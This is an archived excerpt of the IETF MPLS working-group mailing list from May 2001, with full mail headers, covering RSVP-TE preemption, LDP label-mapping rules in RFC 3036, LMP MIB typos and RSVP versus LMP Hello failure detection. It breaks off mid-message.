> To: Parmar, Pankaj N
> Cc: 'mpls@UU.NET'
> Subject: Re: preemption in RSVP-TE
>
> Pankaj,
>
>     Assuming you are referring to text in section 4.7.3 ("Procedures
> applying to both C-Types") of draft-ietf-mpls-rsvp-lsp-tunnel-08,
> at least part of the confusion stems from a typo in your quote.  The
> correct word is 'unused' (as in 'unused bandwidth').  In other words,
> no preemption is needed where there is already sufficient 'unused'
> bandwidth.
>
>     Admittedly, a part of the confusion may be caused by a somewhat
> arbitrary distinction between 'available' and 'unused'.  It helps to
> read 'requested bandwidth is available' as 'requested bandwidth is
> within the capacity of links which are usable for this session'.
>
> --
> Eric Gray
>
> You wrote:
>
> > I have a doubt regarding preemption, as explained in the draft,
> specifically
> > the following statement:
> >
> > "if the requested bandwidth is less than the used bandwidth then the
> > processing is complete. If the requested bandwidth is available, but is in
> > use by lower priority sessions, then lower priority sessions (beginning
> with
> > lower priority) MAY be pre-empted to free the necessary bandwidth."
> >
> > It is not clear when the session gets preempted. It seems preemption could
> > to be done during PATH message processing, but then there is a issue here.
> > If a lower priority session gets preempted at a given LSR, and gets
> > forwarded downstream, it is possible that another downstream LSR may
> reject
> > the PATH message and send a PATH_ERR upstream. The issue is, a lower
> > priority session got preempted for no reason. On the other hand, if
> > preemption is done during a RESV message, we are more certain that we
> really
> > want to preempt a lower priority session.
> >
> > Experts, please comment.
> >
> > Thanks,
> >
> > -Pankaj



From owner-mpls@UU.NET  Wed May 30 23:43:10 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA02194
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 23:43:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrik24784;
	Thu, 31 May 2001 03:43:30 GMT
Received: by mail-control.mail.uu.net 
	id QQkrik01642
	for mpls-outgoing; Thu, 31 May 2001 03:42:48 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrik01633
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 03:42:44 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrik29601
	for <mpls@uu.net>; Thu, 31 May 2001 03:41:25 GMT
Received: from gateway.ipinfusion.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.ipinfusion.com [209.11.132.18] (may be forged))
	id QQkrik01903
	for <mpls@uu.net>; Thu, 31 May 2001 03:41:24 GMT
Received: from ipinfusion.com (IDENT:root@[10.10.0.38])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4V3gYj29948
	for <mpls@uu.net>; Wed, 30 May 2001 20:42:34 -0700
Message-ID: <3B15BE92.2C98347B@ipinfusion.com>
Date: Wed, 30 May 2001 20:46:26 -0700
From: Manoj Dutta <manoj@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Label Mapping !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

In RFC 3036 section A.1.2 ,LMp.18, Note 8, it is mentioned that if
LSR is not merging, then it may have sent label mapping for LSP in
question to at most one LSR.  Lets take the following scenario :

LSR A is non merge capable and operating in DoD advertisement mode with
independent control. Now, it may receive requests from multiple LSRs say
LSR B, LSR C etc. Since, it is using independent control, it may send
mapping (different labels) to LSRs B & C immediately without waiting for
a mapping from its next hop (offcourse it will send requests to next hop
for each such mapping). Also, it may so happen that LSR B is also non
merge capable and it may send multiple requests to A (one for each of
B's upstream peers). In this case, we might end up in a situation where
A has send multiple uniquely distinct mappings to B and one (or
more) uniquely distinct  mappings to C for the same FEC. Now, when
A receives a mapping from its next hop for the FEC in question, we see
that Note 8 as enumerated above is clearly violated as there is more
than one LSR (in this case B & C) for which A has previously sent a
mapping.
Let me know if there is some inconsistency in the above mentioned line
of reasoning.

Thanks in advance
manoj




From owner-mpls@UU.NET  Thu May 31 00:56:02 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA02934
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 00:56:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrip10519;
	Thu, 31 May 2001 04:56:21 GMT
Received: by mail-control.mail.uu.net 
	id QQkrip27155
	for mpls-outgoing; Thu, 31 May 2001 04:55:48 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrip27144
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 04:55:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrip07505
	for <mpls@UU.NET>; Thu, 31 May 2001 04:55:25 GMT
Received: from localhost.localdomain by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.54])
	id QQkrip09447
	for <mpls@UU.NET>; Thu, 31 May 2001 04:55:22 GMT
Received: from cheetah (IDENT:tomar@cheetah [127.0.0.1])
	by localhost.localdomain (8.11.0/8.11.0) with ESMTP id f4V4waQ22621;
	Thu, 31 May 2001 10:28:39 +0530
Date: Thu, 31 May 2001 10:28:36 +0530 (IST)
From: Nagendra Singh Tomar <nagendras@netbrahma.com>
X-Sender: tomar@localhost.localdomain
Reply-To: nagendras@netbrahma.com
To: Manoj Dutta <manoj@ipinfusion.com>
cc: mpls@UU.NET
Subject: Re: Label Mapping !!
In-Reply-To: <3B15BE92.2C98347B@ipinfusion.com>
Message-ID: <Pine.LNX.4.21.0105311018330.22581-100000@localhost.localdomain>
Organization: NetBrahma Technologies
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Manoj!
	Read my comments between the lines 


On Wed, 30 May 2001, Manoj Dutta wrote:

> Hi,
> 
> In RFC 3036 section A.1.2 ,LMp.18, Note 8, it is mentioned that if
> LSR is not merging, then it may have sent label mapping for LSP in
> question to at most one LSR.  Lets take the following scenario :
> 
> LSR A is non merge capable and operating in DoD advertisement mode with
> independent control. Now, it may receive requests from multiple LSRs say
> LSR B, LSR C etc. Since, it is using independent control, it may send
> mapping (different labels) to LSRs B & C immediately without waiting for
> a mapping from its next hop (offcourse it will send requests to next hop
> for each such mapping). Also, it may so happen that LSR B is also non
> merge capable and it may send multiple requests to A (one for each of
> B's upstream peers). In this case, we might end up in a situation where
> A has send multiple uniquely distinct mappings to B and one (or
> more) uniquely distinct  mappings to C for the same FEC. Now, when
> A receives a mapping from its next hop for the FEC in question, we see
> that Note 8 as enumerated above is clearly violated as there is more
> than one LSR (in this case B & C) for which A has previously sent a
> mapping.

The problem is in the above statement. As u have rightly said that since A
is a non-merging LSR, it will send a label request downstream for each
label request it receives from its upstream peers (B and C here). Now when
A receives a label mapping from its nexthop (in response to one of its
request. Note that, it will get more such label mappings for its remaining
pending requests) this label mapping it got will be either for the request
it made to its downstream peer,
in response to B's request or C's request (note both will result in
different LSPs for the same FEC), so the statement given in the RFC is
perfectly true. The key is the statement "for the LSP in question", don't
confuse it with "for the FEC in question". 




> Let me know if there is some inconsistency in the above mentioned line
> of reasoning.
> 
> Thanks in advance
> manoj
> 


Hope it clarifies !

--tomar



From owner-mpls@UU.NET  Thu May 31 01:18:32 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA03778
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 01:18:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrir03683;
	Thu, 31 May 2001 05:18:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkrir18749
	for mpls-outgoing; Thu, 31 May 2001 05:18:18 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrir18738
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 05:18:02 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrir15899
	for <mpls@uu.net>; Thu, 31 May 2001 05:16:35 GMT
Received: from saraswathi.hclt.co.in by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.6])
	id QQkrir10416
	for <mpls@uu.net>; Thu, 31 May 2001 05:16:34 GMT
Received: from grofw (router.hclt.co.in [202.54.64.1]) by saraswathi.hclt.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id L86MDRTF; Thu, 31 May 2001 10:58:52 +0530
Received: from VIJAYC ([192.168.232.219]) by gayatri.hclt.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id L8Z2C0XW; Thu, 31 May 2001 10:44:27 +0530
From: "Vijayanand C" <vijayc@hclt.com>
To: <mpls@UU.NET>
Subject: Label mapping from targetted peer
Date: Thu, 31 May 2001 10:52:20 +0530
Message-ID: <NFBBKDLACMMEPNKNDBJMEEBBCDAA.vijayc@hclt.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello all,
I have a question regarding the label mapping procedure(A.1.2) of
rfc3036(LDP).

In Lmp.11,12,13 the next Hop for FEC is checked and if message source is not
the next hop, the label release procedure is executed.

Suppose the peer which sent the label mapping is a targetted peer, then it
will not be the next hop for the FEC but still, it may be a valid mapping if
the mapping has come through the correct next hop interface. So, I think the
check should do more than just compare the message source against the FEC
Next Hop.Going one step further, what to do if there are 2 or more targetted
peers on the same Next Hop interface for the FEC and both of them send
Unsolicited label mappings. How will we decide which to retain and which to
drop?

Please correct me if I am wrong.


Regards,
Vijay



From owner-mpls@UU.NET  Thu May 31 02:35:03 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA15880
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 02:35:03 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkriw15907;
	Thu, 31 May 2001 06:35:23 GMT
Received: by mail-control.mail.uu.net 
	id QQkriw14213
	for mpls-outgoing; Thu, 31 May 2001 06:34:50 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkriw14203
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 06:34:44 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkriw10429
	for <mpls@uu.net>; Thu, 31 May 2001 06:33:22 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQkriw25947
	for <mpls@uu.net>; Thu, 31 May 2001 06:33:21 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000219154@fsnt.future.futsoft.com>;
 Thu, 31 May 2001 12:09:30 +0530
Received: from future.futsoft.com (arumugamr.future.futsoft.com [10.20.6.33])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with ESMTP id f4V6WYu17792;
	Thu, 31 May 2001 12:02:34 +0530
Message-Id: <3B15E76A.40708@future.futsoft.com>
Date: Thu, 31 May 2001 12:10:42 +0530
From: Arumugam R <arumugamr@future.futsoft.com>
Organization: FSL
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; m18) Gecko/20010131 Netscape6/6.01
X-Accept-Language: en
MIME-Version: 1.0
To: matin.dubuc@edgeflow.com, "Thomas D. Nadeau" <tnadeau@cisco.com>,
        evan@calient.net, sudheer@nayna.com, iplang@calient.net,
        "mpls@uu.net" <mpls@UU.NET>
Subject: Some clarifications in the LMP mib..
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

While going through the LMP mib, some typo errors are found and i need 
some more clarification.

1. The lmpTeLinkAdminStatus in the lmpTeLinkTable is marked read-only, 
instead of read-create.

2. In the lmpTeLinkCCMappingTable, the lmpTeLinkCcMappingEntry is bound 
to have 4 entries as given in the example.

It should look like the following.

LmpTeLinkCcMappingEntry ::= SEQUENCE {
   lmpTeLinkId                                      TeLinkId,
   lmpCcId                                            LmpCcId,
   lmpTeLinkCcMappingRowStatus       RowStatus,
   lmpTeLinkCcMappingStorageType    StorageType
}
and appropriately the values and description needs to be changed.

3. In the lmpDateBearingLinkTable, the lmpDataLinkRemoteIfId is given as 
a read-only object.
The typo is in the example given, it is configured which gives a feeling 
that it is read-create. It needs to be removed from the example.

Can you through some explanation regarding the manual configuration 
procedure, since it can reduce some states and events in the TE Link 
FSM, as well as avoiding the test procedure & Data Link FSM, since it is 
not clearly explained in the LMP Draft. 

4. The lmpDataBearingLinkCcPreemptibility is mentioned as read-only 
instead of read-create. Also the description for the same is wrong & i 
feel it is a cut and paste from the description of lmpDataBearingType.

Suggestions are welcome

Thanks and regards
Arumugam R.




From owner-mpls@UU.NET  Thu May 31 02:36:56 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA16009
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 02:36:55 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkriw29445;
	Thu, 31 May 2001 06:37:15 GMT
Received: by mail-control.mail.uu.net 
	id QQkriw14421
	for mpls-outgoing; Thu, 31 May 2001 06:36:41 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkriw14324
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 06:36:21 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkriw16492
	for <mpls@UU.NET>; Thu, 31 May 2001 06:35:21 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQkriw15790
	for <mpls@UU.NET>; Thu, 31 May 2001 06:35:20 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.27.52])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f4VCDc425784
	for <mpls@UU.NET>; Thu, 31 May 2001 12:13:43 GMT
Received: from boochi.alc.wipinfo.soft.net ([192.168.220.203])
          by sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GE6T6K00.NRY; Thu, 31 May 2001 12:09:56 +0530 
Date: Thu, 31 May 2001 12:07:08 +0400 (RET)
From: "Nagabhushana Ramaswamy Nadig" <nagabhushana.ramaswamy@wipro.com>
X-X-Sender: <bhushanr@boochi.alc.wipinfo.soft.net>
Reply-To: <nagabhushana.ramaswamy@wipro.com>
To: Manoj Dutta <manoj@ipinfusion.com>
cc: <mpls@UU.NET>
Subject: Re: Label Mapping !!
In-Reply-To: <3B15BE92.2C98347B@ipinfusion.com>
Message-ID: <Pine.LNX.4.31.0105311203590.24283-100000@boochi.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


Hello Manoj,
	Please also note that it is made mandatory in the rfc that if a
mapping message is a response to a request message then the sender should
include the Label Request id TLV in the mapping message. By this request
id you will be able to map the mapping to a unique request message.

regards
Bhushana

> Hi,
>
> In RFC 3036 section A.1.2 ,LMp.18, Note 8, it is mentioned that if
> LSR is not merging, then it may have sent label mapping for LSP in
> question to at most one LSR.  Lets take the following scenario :
>
> LSR A is non merge capable and operating in DoD advertisement mode with
> independent control. Now, it may receive requests from multiple LSRs say
> LSR B, LSR C etc. Since, it is using independent control, it may send
> mapping (different labels) to LSRs B & C immediately without waiting for
> a mapping from its next hop (offcourse it will send requests to next hop
> for each such mapping). Also, it may so happen that LSR B is also non
> merge capable and it may send multiple requests to A (one for each of
> B's upstream peers). In this case, we might end up in a situation where
> A has send multiple uniquely distinct mappings to B and one (or
> more) uniquely distinct  mappings to C for the same FEC. Now, when
> A receives a mapping from its next hop for the FEC in question, we see
> that Note 8 as enumerated above is clearly violated as there is more
> than one LSR (in this case B & C) for which A has previously sent a
> mapping.
> Let me know if there is some inconsistency in the above mentioned line
> of reasoning.
>
> Thanks in advance
> manoj
>
>
>



From owner-mpls@UU.NET  Thu May 31 07:57:25 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA21003
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 07:57:24 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrjr19518;
	Thu, 31 May 2001 11:57:43 GMT
Received: by mail-control.mail.uu.net 
	id QQkrjr18397
	for mpls-outgoing; Thu, 31 May 2001 11:57:10 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrjr18363
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 11:56:56 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrjr17333
	for <mpls@UU.NET>; Thu, 31 May 2001 11:56:50 GMT
Received: from smtp2.cluster.oleane.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp2.cluster.oleane.net [195.25.12.17])
	id QQkrjr17980
	for <mpls@UU.NET>; Thu, 31 May 2001 11:56:49 GMT
Received: from oleane (dyn-1-1-243.Vin.dialup.oleane.fr [195.25.4.243]) by smtp2.cluster.oleane.net with SMTP id f4VBukL37417 for <mpls@UU.NET>; Thu, 31 May 2001 13:56:47 +0200 (CEST)
Message-ID: <004401c0e9c8$c1260800$8001a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <mpls@UU.NET>
Subject: IP Policy Conference
Date: Thu, 31 May 2001 13:56:36 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0041_01C0E9D9.81C4B060"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0041_01C0E9D9.81C4B060
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

IP Policy Conference, Paris 11-14 September: MPLS and DiffServ policing =
sessions:
http://www.upperside.fr/ippol2001/ippol2001intro.htm


------=_NextPart_000_0041_01C0E9D9.81C4B060
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT size=3D2><STRONG>IP Policy Conference, Paris 11-14 =
September</STRONG>:=20
MPLS and DiffServ policing sessions:</FONT></DIV>
<DIV><FONT size=3D2><A=20
href=3D"http://www.upperside.fr/ippol2001/ippol2001intro.htm">http://www.=
upperside.fr/ippol2001/ippol2001intro.htm</A></FONT></DIV>
<DIV>&nbsp;</DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_0041_01C0E9D9.81C4B060--



From owner-mpls@UU.NET  Thu May 31 09:55:42 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA25252
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 09:55:41 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrjz22532;
	Thu, 31 May 2001 13:56:02 GMT
Received: by mail-control.mail.uu.net 
	id QQkrjz08488
	for mpls-outgoing; Thu, 31 May 2001 13:55:27 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrjz08462
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 13:55:07 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrjz07408
	for <mpls@UU.NET>; Thu, 31 May 2001 13:53:59 GMT
Received: from alpha.tellium.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkrjz19020
	for <mpls@UU.NET>; Thu, 31 May 2001 13:53:58 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f4VDpSn28256;
	Thu, 31 May 2001 09:51:29 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <LSMXXZZJ>; Thu, 31 May 2001 09:55:23 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D0220404019F68F5@mail1.tellium.com>
From: Dimitrios Pendarakis <DPendarakis@tellium.com>
To: "'lyndon_ong@eudoramail.com'" <lyndon_ong@eudoramail.com>,
        David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
Subject: RE: Last call - RSVP problems
Date: Thu, 31 May 2001 09:55:14 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

David,

I agree with Lyndon's comment. If you read through the rest of
my email, you 'll see that the discussion is not about the 
ability of RSVP Hello to detect link failures:

DP> LMP hello allows you to detect 
DP> individual link (or control channel) failures; RSVP Hello allows
DP> you to detect that you 've lost contact with your signaling peer
DP> for whatever reason (failure of all redundant control channels, 
DP> failure of the RSVP daemon, etc.).

Thanks,
Dimitrios

> -----Original Message-----
> From: Lyndon Ong [mailto:lyndon_ong@eudoramail.com]
> Sent: Wednesday, May 30, 2001 12:05 PM
> To: mpls@UU.NET; David Charlap
> Subject: Re: Last call - RSVP problems
> 
> 
> Hmm, I'm confused here - I did not think the discussion was 
> about RSVP Hello's function, it's understood to be detecting
> node failure rather than link or control channel failure.
> 
> I thought the question was whether RSVP Hello was necessary if
> you have an alternative way of detecting control channel
> failure, in which case you can tell when there are no control
> channels left standing.  Detection of control channel failure
> could be through LMP Hello or if you have some alternative 
> means, like monitoring control channel error rates.
> 
> Cheers,
> 
> Lyndon
> --
> 
> On Wed, 30 May 2001 10:55:39   David Charlap wrote:
> >Dimitrios Pendarakis wrote:
> >> 
> >> Could you please clarify why you think RSVP Hello doesn't work for
> >> parallel (redundant) control channels?
> >
> >RSVP Hello messages are sent between adjacent IP addresses.  If there
> >are multiple unnumbered links between two routers, only one set of
> >Hellos are generated for all the links.  If the multiple 
> links are all
> >numbered, then Hello messages are sent for each of the links.
> >
> >As a result of this, RSVP Hello can only detect link failure when all
> >links between two routers are numbered.  If there are 
> unnumbered links
> >between two routers, Hellos will not be interrupted until all of the
> >links fail - meaning it will only detect node failure.
> >
> >-- David
> >
> 
> 
> Join 18 million Eudora users by signing up for a free Eudora 
> Web-Mail account at http://www.eudoramail.com
> 


From owner-mpls@UU.NET  Thu May 31 10:40:55 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA26914
	for <mpls-archive@lists.ietf.org>; Thu, 31 May 2001 10:40:54 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrkc05900;
	Thu, 31 May 2001 14:41:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkrkc02252
	for mpls-outgoing; Thu, 31 May 2001 14:40:40 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrkc02237
	for <mpls@mail-control.mail.uu.net>; Thu, 31 May 2001 14:40:31 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrkc10853
	for <mpls@UU.NET>; Thu, 31 May 2001 14:37:52 GMT
From: neil.2.harrison@bt.com
Received: from marvin.axion.bt.co.uk by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: marvin.axion.bt.co.uk [132.146.16.82])
	id QQkrkc16088
	for <mpls@UU.NET>; Thu, 31 May 2001 14:37:51 GMT
Received: from cryndent01.mww.bt.com by marvin (local) with ESMTP;
          Thu, 31 May 2001 15:29:08 +0100
Received: by cryndent01.mww.bt.com with Internet Mail Service (5.5.2652.35) 
          id <L2156DY2>; Thu, 31 May 2001 15:29:00 +0100
Message-ID: <B9571FDEBD3DD21181E500606DD5EE050E891365@mbddmknt01.hc.bt.com>
To: bnatale@lucent.com
Cc: te-wg@ops.ietf.org, mpls@UU.NET
Subject: RE:  draft-harrison-mpls-oam-req-00.txt
Date: Thu, 31 May 2001 15:29:00 +0100
X-Mailer: Internet Mail Service (5.5.2652.35)
MIME-version: 1.0
Content-type: text/plain; charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Thanks for your comments Bob.....here a response on behalf of Shahram and
the rest of the authors:
Natale, Robert C (Bob) wrote 29 May 2001 22:56

> Hello Shahram and the rest of the authors of this ID,
> 
> First, I do applaud the initiative and the effort invested in
> this work...I think it is a very important topic for the WG to
> address.
NH=> Thanks.  We think so too, and something like this will be needed by
operators if MPLS is to 1-day realise it full potential.

>  However, I do wish to offer some feedback -- hopefully
> you will see it as constructive -- for further consideration.
> 
> 1.  I am curious as to why you address "OAM" only, rather than
>     "OAM&P".  It seems to me that -- over and above being
>     important in its own right -- provisioning capabilities may
>     be extremely helpful to realizing some of the "motivations"
>     and satisfying some of the requirements you cite.
NH=> Can you help us out by providing some examples of what you mean by this
please Bob....I have my own interpretation but I would not wish to guess at
what you mean here.
> 
> 2.  I am somewhat skeptical about the focus on the user-plane
>     versus the control-plane, management-plane, and interface(s)
>     between the latter two.  Ensuring that we design control-
>     plan capabilities and functionality to proactively avoid
>     (minimize) the kinds of (legitimate) worries expressed in
>     your "Motivations" #3 and #4, for example, should be a
>     high priority for us.
NH=> Understand.  But the appropriate solutions depends on one's networking
scenario.  Things change as one moves from a pure CNLS mode to a pure CO
mode (and there are grey shades in between extreme examples of these).  In a
pure CNLS mode then user-plane = control-plane (or to be more precise, the
routing facet of the control-plane since there is no signalling facet).
MPLS LDP LSPs move 1 step closer to the CO mode and explicity routed (ie
signalled) RSVP/CR-LDP LSPs move a another step.  Once we consider GMPLS
then there is (an almost forced) decoupling between the *transport networks*
used for control-plane aspects and the user-plane.  The user-plane (of both
'external' customer trails and the 'internal' signalling/control-plane
trails) needs their own OAM.  Above this, the individual protocols that then
use the user-plane of the signalling/control-plane network (hope this makes
sense) also need their own OAM (to detect protocol failures, which are only
relevant to a given protocol maybe). I have seen some of the recent
discussion on RSVP Hellos vs LMP Hellos (etc) which I hope reinforces this
